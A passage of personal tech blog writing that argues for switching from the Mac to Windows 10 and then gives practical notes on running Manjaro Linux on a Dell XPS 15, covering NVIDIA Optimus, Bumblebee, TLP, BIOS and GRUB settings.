That being said, it’s not by a huge margin. Adobe Creative Suite is super strong, and unless you’re a one-trick pony, any pro can switch to Adobe and get the job done.

In terms of software development, unless you’re a one-trick .NET pony, you will want all the open source shebang. WSL is supposed to provide you that - in the future. Right now your best bet is running Virtualbox and you will not regret it.

Yes, yes, you have small exclusive software such as 1Password, Tweetbot, Alfred. I don’t miss any of those. Especially because my last iPhone was the 4 back in 2010. Then I switched to Android with the Galaxy S4 and also never looked back. I’m using an S8 and about to receive my Pixel 2, so I am good in terms of Twitter client or password management (I use LastPass and although it’s not perfect, it gets the job done).

Either there is a good enough native desktop replacement or a mobile replacement, or there is a Web service. I may feel uncomfortable changing, but in practice, there is nothing in macOS that prohibits me from switching. Even if you bought iTunes songs or movies, there is iTunes for Windows.

“But wait, Windows Update will annoy you!”

I thought as much. Microsoft did finally figure it out. It’s still there, you still need to restart. But it’s not nearly as annoying as it was before. Most updates will run in the background and you won’t even notice. And you have several options such as scheduling it to run only at night when you’re not working.

“But what about the security issues and viruses!?”

Yes, I highly recommend you not to browse the Deep Web on a Windows machine, you will be owned. Not even using a Tor browser. You will be owned.

I also recommend you to use BitLocker (only available on Windows 10 Pro) to encrypt your partition. And also to backup to external hard drives as frequently as you can. Nothing can save you better than a readily available cold backup.

And yes, install some 3rd party solution such as Avast antivirus. Have healthy web browsing behavior and avoid shady websites. You know what I am talking about. You will be owned.

If you must, install a secure Linux distro within Virtualbox and open Tor from there.

“But what about the mess that is the Registry!?”

It’s still there. If you never experienced it, the Registry is Windows’ equivalent of “/etc” in Linux distros. It’s a binary database. It gets corrupted. It gets dirty entries.

But my recommendation is: forget about it. If you’re thinking and tinkering with it, you will get a corrupt system. Do not try to clean it up (never, ever use something like CCleaner).

Windows itself now has automatic system restore snapshotting everytime something big happens. And it’s mostly reliable. They go as far as duplicating the current “C:\Windows” directory into a “C:\Windows.old” when there is a big Windows Update, just in case. They shot themselves in the foot so many times that they finally learned to have several layers of recovery options.

Nowadays you can even download the Media Creation tool from the Windows website itself. You don’t even have to sign up anywhere. And the Windows license comes with the machine’s firmware (BIOS). You don’t even have to remember where your product activation key is. It automatically activates and because every machine comes with a license, the process is seamless. And most manufacturers have automatic updates for drivers and firmware.

So you should have a reasonably smooth experience, no matter what.

“But Windows is not open source!”

Neither is OS X. And this is a Linux advantage. So, if you must, use just Linux natively. The point of the argument is finding an alternative to the Mac. So we’re on the same page.

The Ruby on Rails and the Hipsters effect

Truth be told. In the software development arena, we switched to the Mac mainly because of Rails and Textmate 2. We had access to some open source tools built-in, we had GCC to compile the rest. Windows XP was way past due. Windows Vista was a terrible experience. The PC hardware manufacturers were not even trying, and Apple was launching good hardware and good experience all the time.

Developers switched in droves after the switch from PowerPC to Intel in 2005. My very first Mac was a G4 Mac Mini with OS X 10.4 Tiger. And then I bought the very first Intel White MacBook and I never looked back.

Software tools on Windows were laughable. Visual Studio.NET was terrible. Eclipse-based IDEs were terrible. We didn’t have Powershell yet. And we definitely never had anything like WSL for command-line. You could install Cygwin, but it was a poor experience.

And running Linux as the primary OS was also terrible. Wine is still terrible, despite its best efforts. Unfortunately, NVIDIA and AMD GPUs will only run at their best on Windows. And Linux was never really good for content creation. It’s not even a matter of learning a new workflow, the tools are mediocre. They have to reverse engineer everything, and that takes time. And in the velocity of social media, we don’t have enough time, so we need to settle for compromises.

The Windows ecosystem stopped pretending, and finally embraced everything the open source and Apple ecosystem built. Now we all benefit.

By the way, if you like iTerm 2, you will be delighted to install Tilix for Linux, which is very similar.

As time goes by

I have been following the Surface line-up evolution over the years. In the beginning, I was very skeptical. Because it’s very easy to launch a gimmicky product and discontinue it. I trust companies that keep evolving their products over the years. Not only does an ecosystem form around it, but you have time to put together support services, there are parts available in the official stores and in the aftermarket. After all these years, Microsoft deserves to be called a hardware manufacturer.

This is Microsoft finally fulfilling what Alan Kay once said:

“People who are really serious about software should make their own hardware.”

They only really failed in the smartphone market, the competition is way more difficult there and because of that margins are super low. But they did nail the tablet market, the desktop, the notebook, the gaming, the servers (with their own Azure services), so now I believe that they really understand the specific needs of all those areas, and it shows in the software. They have a far superior understanding of every market - but the smartphone - than Apple. They finally have true skin in the game.

Because now Microsoft builds their own hardware and they made a business out of it, they have real incentive inside the teams in the company for a positive feedback loop that results in more refinements to the Windows codebase.

They have been trying and failing in the touch-based solutions since the early 2000s. Now the Pen is not a gimmick anymore, it’s a real product, with real qualities, and real use cases.

They also kept their vision of playing nice with Open Source. No one can reasonably expect Microsoft to go full-blown open source. But it shows. They are second only to Google on GitHub in terms of open source contributions. They acquired Xamarin and their .NET Core strategy is on-going and strong. Heck, even Visual Studio received the open source treatment. There is still a long road ahead, but one has to recognize the giant steps.

Which is way more than we can say about Apple, where the poor guys at Homebrew suffer on each OS X upgrade.

The Surface RT and Windows Mobile attempt even made it possible for Windows to finally be compiled to run on ARM processors. This is a good sign going forward. Reminds me when OS X was first compiled to run on Intel processors (they ran on PowerPC before) in 2005.

And the Macbook? They get a gimmick touch bar. Apple is really out of touch with reality.

Why am I out from the Apple ecosystem?

Apple’s focus is not on the Mac. Worse: the Mac is quickly becoming abandonware, despite the PR statements.

They are clearly an iPhone company, with a hobbyist side business that builds Macs and MacBooks, which exist mostly to serve as an iPhone app development toolchain. This is the business model.

Did you see their latest Ad for the iPad?

Yes, this is super cute and I dig it.

But the message is crystal clear: the vision is for people to use only iPhones and iPads. There is no such thing as a “computer”.

They are the most valued tech company right now. But since last year, they don’t even have a dedicated OS X team anymore. What does that tell you?

The iOS line-up is a “monopoly” within Apple’s line up. The Mac can’t compete. Steve Jobs himself warned about what happens to monopolies.

We are starting to hear the same story all over the industry:

• Apple’s relationship with pro music needs some mending - Sep, 26, 2016
• How Apple Alienated Mac Loyalists - Dec, 20, 2016
• macOS is becoming legacy software - Dec, 21, 2016
• Apple Is Dead To Me… I’m Switching To Windows! - Feb, 10, 2017
• Why I left Mac for Windows: Apple has given up - Mar, 5, 2017

Microsoft played their cards right. It took almost 15 years. But it paid off in spades. Apple really did alienate the loyalists, the ones that used to “Think Different”.

Apple is a “victim” of Clayton Christensen’s “Innovator’s Dilemma”. If they still had vision left, they could reach out and maintain. But instead, they chose to go all-in on a single product line.

Microsoft seems to have read the Clayton’s “Innovator’s Solution: Creating and Sustaining Successful Growth”.

When the iPod was at its peak, Microsoft had “lost”. They were out of the game. It was a depressing thing to see. Steve Ballmer was a shameful CEO. Windows Vista was a shameful OS. The Zune failed to capture the aura of the iPod. Windows Mobile was a mess. And Sharepoint … oh Sharepoint. They even celebrated when JQuery was added to ASP.NET! Talk about too little too late.

And Amazon - a retail store - successfully launched the best infrastructure in the world and became synonymous with “Cloud” and Microsoft was still struggling to understand what Linux was.

Failure after failure, instead of defending their low position, they finally decided to step up and move forward one step at a time. Refine. Evolve. Sustain.

Now, Windows 10 recaptured the aura of XP at its best. It’s doing incremental, and solid upgrades. First the Anniversary Edition, then the Creators Update and finally the most recent Fall Creators Update. All solid upgrades.

The Surface line-up is going strong as the best reference for industrial design and features on desktops, notebooks, and accessories. Seriously, Apple still sells that terrible slippery, difficult to hold, Magic Mouse 2, but the “magic” is that someone actually buys those. Microsoft has the Arc Touch and the Precision Mouse, two of the best ever made.

Creative professionals, software developers, we all jumped ship in droves to OS X when it was the “Different Thing” on the “Think Different” campaign. We helped evangelize. We helped build tools. We helped build services. We wrote tons of blog posts and documentation to help out.

Steve Jobs died, and Apple died with him. They basically did nothing new ever since, and their once successful products were left to decay and die. The only thing left is the halo effect, the inertia, and their ever-growing hunger for milking the same cow indefinitely, while ditching R&D altogether.

Apple doesn’t care. Why should I?

Microsoft played smart, they kept fixing and evolving, year after year. They lost the 90s generation. They recaptured the 2010s generation. And they started early, getting their attention from the Xbox all the way to Windows.

Seriously, the XBox Dashboard is better than the PS4’s. I highly prefer it.

And they are now in a good position. The players are inverted in the game. The “Think Different” now refers to Windows 10 and the PC hardware. Intel is playing conservative. NVIDIA builds the best GPUs. There are many great options not available on the Mac.

The jump from 32-bits to 64-bits and the necessities of the XBox even helped Microsoft rethink how to isolate and package their software. Even though the Windows Store is still a bad joke at this point.

And Bill Gates was dead right in the mid-90s: the browser would render the Windows monopoly obsolete. And it did. On the bright side, you have the very same Chrome and Firefox browsers available on OS X, Windows 10, and any Linux distro. This means instant access to most of what people need: Gmail, Google Docs, Office 365, Dropbox, LastPass, Spotify, Slack, Discord, Twitter, Netflix, HBO, Hulu, etc.

I hate Javascript-based desktop wrappers like the plague. Electron is dumb heavy. But, what can I do? At least powerful hardware and RAM come cheap these days, and we can afford browser tabs that eat up 100 MB each.

The browser is the new OS for the majority of people. Heck, most people can get around using Chromebooks! Everything else is on the phones, not the desktop. So hard tools are needed. Soft tools you already carry in your pocket.

The Apple ecosystem is not dead yet. Apple still has time to fix this situation. I’ve been waiting for the past 3 years, but still zero signs of anything getting better. My very first switching article was published on Nov 10, 2015.

Unlike other “switching” articles, I am not saying this lightly. I have switched already, in the past 2 years.

As I say in many of my posts and talks about events: I am not defined by my tools. I don’t carry banners. I am not loyal to anyone by default. I was never paid by Apple to defend it. And I am not paid by Microsoft to say good things about them. I just analyze the facts and state the best course of action going forward.

And the facts tell me that macOS is no more. It was a good ride. Goodbye to the Mac and thanks for all the fish.

Manjaro released its newest release version 17 and the kernel released 4.10. The upgrade from Manjaro 16 and kernel 4.9 went smoothly.

These are the currently installed, kernel specific packages:

$ pacman -Ss 410 | grep installed
core/linux410 4.10.1-1 [installed]
core/linux410-headers 4.10.1-1 [installed]
extra/linux410-acpi_call 1.1.0-0.7 (linux410-extramodules) [installed]
extra/linux410-bbswitch 0.8-0.7 (linux410-extramodules) [installed]
extra/linux410-ndiswrapper 1.61-0.7 (linux410-extramodules) [installed]
extra/linux410-nvidia 1:375.39-0.7 (linux410-extramodules) [installed]

And to make sure everything is ok, I removed the old 4.9 related packages:

sudo pacman -R linux49 linux49-headers linux49-acpi_call linux49-bbswitch linux49-ndiswrapper linux49-nvidia

I also upgraded the system BIOS to the latest 1.2.19 (although many said to stay at 1.2.18 for now, but I didn’t downgrade). The BIOS upgrade is quite easy as you just need to have a FAT formatted USB drive and copy the “XPS_9550_1.2.19.exe” file. On boot, you can press F12 and choose the option to upgrade directly from there.

One thing that stopped working was the function keys to control screen brightness. I wasn’t able to tweak it back but I can still control the brightness manually from the Terminal using commands like this:

xbacklight -inc 20 # to increment
xbacklight -dec 20 # to decrement

Then, the most annoying part: the NVIDIA Optimus card.

Suspending the OS works flawlessly most of the time. I can just close the lid, open it the next day and the battery stays reasonably at the same level. Kudos to the kernel team for supporting it.

But the power management system turns off the NVIDIA GPU and I can’t re-enable it after the machine wakes up, even if I reconnect to a power source. Whenever I try to run something through optirun (which forces the rendering through the NVIDIA GPU instead of the primary integrated Intel GPU) it errors out with this message:

Could not enable discrete graphics card

And the only way to have it running was to connect the power cord and reboot the machine. Then I could use the NVIDIA GPU normally. Rebooting all the time is not slow (thanks to the fast SSD) but it’s still annoying to have to reopen every single application every time.

Finally, after a lot of research, I found out how to be able to have the NVIDIA GPU enabled even on battery and after suspend. First, you need to know the PCI ID for the card:

$ lspci | grep "NVIDIA" | cut -b -8
01:00.0

Then you need to edit /etc/default/tlp and add that PCI ID to be blacklisted from power management:

# Exclude PCI(e) device addresses the following list from Runtime PM
# (separate with spaces). Use lspci to get the addresses (1st column).
#RUNTIME_PM_BLACKLIST="bb:dd.f 11:22.3 44:55.6"
RUNTIME_PM_BLACKLIST="01:00.0"

Reboot, and this is it! Now I can run applications through the NVIDIA card even without being connected to the power cord.

It seems that there is a conflict between TLP and Bumblebee. The solution was listed in this 2 months old reddit thread and this 2 weeks old Manjaro forum thread if you’re interested in the discussion around it.

The most difficult part on using NVIDIA on Linux is understanding all the many terminologies around it. I’m not even sure that I got it all already.

This is what I figured out so far:

• Optimus is the hybrid graphics card technology, which enables a low power Intel GPU as the primary card that you can bridge to the secondary, power demanding, NVIDIA GPU, just when you really need it.
• optirun is the command you use to make this bridge.
• “NVIDIA” is what we call the official proprietary binaries. On Arch it’s available on package “linux410-nvidia”.
• “Nouveau” is the open source driver, it uses Primus to make the bridge instead of optirun. I understand that you should avoid this driver for now if you need full performance and full compliance from the GPU.
• “Bumblebee” is a daemon used to enable and disable the NVIDIA GPU. You don’t want it enabled all the time, especially when running on battery, to avoid draining it too fast.
• “bbswitch” is the kernel module that does the low level ACPI calls to control the power state of the NVIDIA GPU card.
• “TLP” is the general Linux power management system, which controls every aspect of the machine’s hardware, including the PCI devices (one of which is the NVIDIA card).

The way I understand it, you don’t want TLP to kick in and shut off the card, because if it does, then Bumblebee can’t enable it back on when needed (through bbswitch). So you have to blacklist its PCI device on TLP and let Bumblebee do its job.

If everything is working fine, then the NVIDIA GPU is turned off by default. You can check that it is off through bbswitch:

$ cat /proc/acpi/bbswitch
0000:01:00.0 OFF

Now, let’s say you want to force something to use the card, so you do it like this:

$ optirun -vv glxgears
[ 1817.200384] [DEBUG]Reading file: /etc/bumblebee/bumblebee.conf
[ 1817.200519] [INFO]Configured driver: nvidia
[ 1817.200579] [DEBUG]optirun version 3.2.1-2017-02-27-Format:%h$ starting...
[ 1817.200584] [DEBUG]Active configuration:
[ 1817.200588] [DEBUG] bumblebeed config file: /etc/bumblebee/bumblebee.conf
[ 1817.200592] [DEBUG] X display: :8
[ 1817.200595] [DEBUG] LD_LIBRARY_PATH: /usr/lib/nvidia:/usr/lib32/nvidia
[ 1817.200599] [DEBUG] Socket path: /var/run/bumblebee.socket
[ 1817.200603] [DEBUG] Accel/display bridge: auto
[ 1817.200607] [DEBUG] VGL Compression: proxy
[ 1817.200611] [DEBUG] VGLrun extra options: 
[ 1817.200615] [DEBUG] Primus LD Path: /usr/lib/primus:/usr/lib32/primus
[ 1817.200645] [DEBUG]Using auto-detected bridge virtualgl
[ 1818.163747] [INFO]Response: Yes. X is active.

[ 1818.163757] [INFO]Running application using virtualgl.
[ 1818.163843] [DEBUG]Process vglrun started, PID 9770.
10419 frames in 5.0 seconds = 2083.766 FPS
10671 frames in 5.0 seconds = 2134.041 FPS

This will run glxgears (a simple app to test the card) through the Optimus bridge (in verbose mode, which is why you have all this extra information). And if glxgears was able to use the NVIDIA GPU it should report FPS (frames per second) higher than 1,000.

And you can check with bbswitch like this:

$ cat /proc/acpi/bbswitch
0000:01:00.0 ON

When you Ctrl-C out of glxgears it should report as OFF again.

Just to make sure, it’s important to guarantee that /etc/bumblebee/bumblebee.conf is customized like this (only important keys are shown below):

[bumblebeed]
Driver=nvidia
...
[optirun]
Bridge=auto
...
[driver-nvidia]
KernelDriver=nvidia
PMMethod=bbswitch
...

So far, the only small issues I still have are these:

• Function keys don’t change screen brightness
• Bose bluetooth headset connects flawlessly but won’t become primary sound output without manually changing to it under the Sound settings (but hardware function keys for volume and media control all work without problems).
• I had to install Manjaro using the old BIOS boot and MBR partition scheme instead of GPT over UEFI. Not sure how to move to GPT/UEFI now (using a LUKS encrypted partition scheme)

But after fixing the NVIDIA GPU after a suspend or power disconnect, the other issues are just very minor annoyances.

So far, I am very happy to be using Manjaro over the Dell XPS. I am using a dual monitor setup, and everything is working quite smoothly. If you want to try it out, I recommend you stick to the 9560 (mid 2016 version) Sandy Bridge version, do not go to the new Kaby Lake versions yet as you will find buggy BIOS firmware and many aspects of the hardware won’t be properly supported or documented yet.

And if you’re new to Arch, I highly recommend you start with Manjaro GNOME. It’s by far the best and most usable Linux desktop I’ve tried.

If you’re a Creative Pro User, you can’t really run Final Cut Pro X (with Motion, Compressor), Logic Pro, Adobe’s Photoshop and other apps. So you will have to change your workflow if you want to be in the Linux ecosystem. Fortunately, for many workflows Linux apps have matured quite nicely and you don’t need to settle for low quality, “hack-ish” software.

Software developers don’t ever need more than the cheap Intel integrated graphics, unless you want to install Steam through Wine to play some demanding games.

After a lot of research (a.k.a. YouTube!) I’ve settled for the Dell XPS 15" (9550 model). It’s an almost 1-year-old SkyLake architecture using the NVIDIA Optimus Hybrid Intel + GTX960M.

To this day, nothing can beat the software+hardware cohesiveness of Apple. This can’t be underestimated. The PC/Windows world is a lot better, but it’s still plagued with unstable BIOS, unstable drivers, etc. If you’re on Linux, it’s even worse.

Here’s the first protip: avoid super brand new models. Most of them won’t have stable drivers even for Windows 10, let alone Linux. Let the Windows guys suffer the first couple of months; give Dell, NVIDIA and Intel time to fix the mess releasing more stable BIOS firmware and drivers.

If you really want to buy one of the 2017 brand new Kaby Lake models, you’re in a Russian roulette situation. Even first generation Macbook models usually present trouble. As a rule of thumb, do not buy on day 1, wait at the very least 3 months. You are warned.

Out of all the early-2016 machines that most Linux distros can support reasonably well, I believe the Dell XPS series, Lenovo Thinkpad X1 Yoga, and possibly Asus Zenbook Pro and HP ProBook are quite good nowadays.

But in most categories, the XPS series is the one to beat. Dell really did a pretty good job this time around.

The keyboard, as with most PCs, is mediocre, plastic-y, a little bit wobbly, with good enough travel but with a sudden hard click without enough resistance. For 99% of the people I believe it’s fairly good, but not so much for really fast touch-typists.

The touchpad is one of the best in any PC notebook, but then again, most PC touchpads are shamelessly bad, especially with gestures more complicated than a 2 finger scroll. This is another area where the Mac is still untouched. That said, the Dell one is serviceable and should work well enough, with a few palm-rejection misses that will annoy you now and then.

Display monitor is a different story: the XPS 15’s gorgeous 4K IPS display is superb, far surpassing the Macbook’s Retina Displays. Samsung PCIe NVMe M.2 SSDs is also the best in its class. The aluminum enclosure is simple but well machined, and the carbon fiber finish is a welcome addition to make a machine that you can really enjoy and be proud to carry around.

If you don’t want to tinker with the hardware configuration too much, usually the safest bet is installing Ubuntu and even then it’s not going to be perfect.

Especially with HiDPI displays (over Full-HD) Linux is still lagging behind. GNOME, KDE kinda support it, but other desktop environments have mixed results, and old applications are still not supporting it as they should. If you’re using LTS distros with old packages, you will find a few applications doing HiDPI wrong, like Libreoffice and Spotify.

And if you’re like me, using a multi monitor with different DPIs, you’re out of luck. Either you’re using the notebook with the lid closed (so you only have one external monitor to worry about) or you will have the texts all super small in the HiDPI primary monitor in order to have the correct DPI in the second external monitor.

One fallback is to configure the 4K display to downscale to Full-HD (1080p). And then again, what’s the point of having a 4K display if you can’t use it properly? So, do not buy the 4K unless you understand this.

Both MacOS and Windows handle this situation far better. And in MacOS I never experienced any HiDPI problem. Not once. Apple was much better pushing a higher standard than the rest of the industry, and this cohesiveness and no need to tinker drivers and configuration is super valuable.

With Macs, you can really just boot and use. With Windows, you’re probably mostly ok unless there are driver issues. And with Linux, you must expect a fair amount of tinkering to have the basis covered.

New PC notebooks are also coming with several weird configurations that make sense for Windows, but that make Linux distros struggle a bit. Every time you must start by configuring the BIOS to disable stuff like Secure Boot, changing to AHCI issues, etc. So let’s dive right into it.

BIOS Setup

The very first thing you must do is change BIOS settings. F2 your way into the setup when the Dell logo shows up and make the following changes:

• General - Advanced Boot Options - Enable Legacy Option ROMs
• General - Boot Sequence - Legacy (UEFI is the default)
• System Configuration - SATA Operation - AHCI (default is RAID On)
• System Configuration - Touchscreen (disable, as it’s mostly unnecessary and it eats up more battery)
• Security - Secure Boot - Secure Boot Enable - Disabled
• POST Behavior - Fastboot - Through (default is minimal)

By doing these changes, the pre-installed Windows 10 will not boot anymore, so make sure you don’t need it before doing this.

Kernel Tweaks

You should follow the Dell XPS (9550) Wiki Page.

The 4K Display may flicker a bit, and to avoid it you must edit Grub configuration file /boot/grub/grub.cfg and append the following line with the specific flags:

GRUB_CMDLINE_LINUX_DEFAULT="... i915.edp_vswing=2 i915.preliminary_hw_support=1 intel_idle.max_cstate=1 acpi_backlight=vendor acpi_osi=Linux"

That line already exists with some flags, don’t erase them, just append the additional configuration and don’t forget to run the following:

sudo grub-mkconfig -o /boot/grub/grub.cfg

For the most part, all the rest will work just fine, but just to be safe I installed the Powertop and acpid packages as well.

sudo pacman -S powertop acpid

I am happy to report that I can close the notebook’s lid and the OS will properly suspend. When I open it up it comes back from sleep, saving battery and saving me the trouble of having to reboot every day.

Arch Distros - Manjaro to the rescue

I am becoming an Arch enthusiast myself, but to tweak it to work on a modern notebook is just too much work. I don’t recommend trying if you’re in a hurry. I tried Arch Anywhere, but it can’t even go through the disk partitioning stage (it doesn’t like the SSD or SATA setup). I tried Antergos but for some reason Gnome Online Accounts didn’t work properly there, even if I try to reinstall it. Finally I settled for Manjaro, which installed and worked without any major issues.

There are several distros based on Arch. Arch Anywhere and Antergos are mostly Arch “installers” where the main repository sources are still vanilla Arch and they try to make the install process easier than you having to find your way through a bare bone command line shell.

Manjaro is more of an independent distro. The main sources point to Manjaro first, so they can test the most recent packages and hold on to them for a bit longer so rogue packages don’t break your system too often. But you still have raw access to AUR packages. The main selling point being a much better installer with a more sophisticated auto-partitioning software than Arch Anywhere and their own Hardware Detection software MHWD.

For the most part it did work properly although I still had to tweak the Graphics configuration as it opts for the open source Nouveau drivers first. Trust me: opt for the proprietary binaries.

If you’re also a software developer, you will want to read my previous post on Arch.

Optimus Hybrid Graphics

The Dell XPS model 9550 uses the Optimus Hybrid architecture. Prime drivers are for standalone NVIDIA GPUs. But most notebooks work with the integrated Intel Graphics card as the primary and only card (particularly lightweight ultrabooks) and the more “Pro” models bridge it out to a secondary NVIDIA GTX 960M.

If you have only a simple, single Intel graphics, most distros will do the right thing out of the box and install the proper drivers and configuration.

Now, if you have a high-end machine like this XPS 9550 or 9560 (Kaby Lake), you will need more configuring. First you need to understand the terminology:

• You need to install Bumblebee. This is a daemon that enables access to the secondary GPU. Just installing Bumblebee solves most problems.
• Then you need to install Primusrun which is a back-end for Bumblebee and you use it to run programs such as Steam in order for it to have access to the secondary GPU.
• Sometimes you will see about Optirun, which nowadays seems to default to Primusrun (otherwise it originally uses a secondary X framebuffer, adding extra overhead).

After you have it all installed, it’s usually a matter of doing:

primusrun kdenlive

For example, to load the video editor Kdenlive to use OpenGL through the Nvidia GPU. Or to run Steam through Wine:

primusrun wine ~/.wine/drive_c/Program\ Files\ (x86)/Steam/Steam.exe

As I mentioned before, Manjaro will probably install the Nouveau driver, which is the open source driver. You should install the proprietary binaries, like this:

sudo mhwd -a pci nonfree 0300
sudo mhwd -r pci video-hybrid-intel-nouveau-bumblebee
sudo mhwd -i pci video-hybrid-intel-nvidia-bumblebee

Again, I am considering the XPS 9550 which has the Intel-Nvidia Optimus/hybrid configuration. Read Manjaro’s Configuring Graphics page on the subject.

I did however stumble upon a strange problem. I am using Linux 4.9 kernel:

$ uname -a
Linux arch42 4.9.6-1-MANJARO #1 SMP PREEMPT Thu Jan 26 12:29:20 UTC 2017 x86_64 GNU/Linux

This is supposedly the core/linux49 4.9.6-1 package. But for some reason the mhwd -i command was installing the linux44-nvidia drivers.

So the Nvidia GPU modules were never being loaded until I manually removed it:

sudo pacman -R linux44-nvidia

And then I manually installed the correct version:

sudo pacman -S linux49-nvidia

Just to be safe, I uninstalled the linux44 package and any other linux44-* package: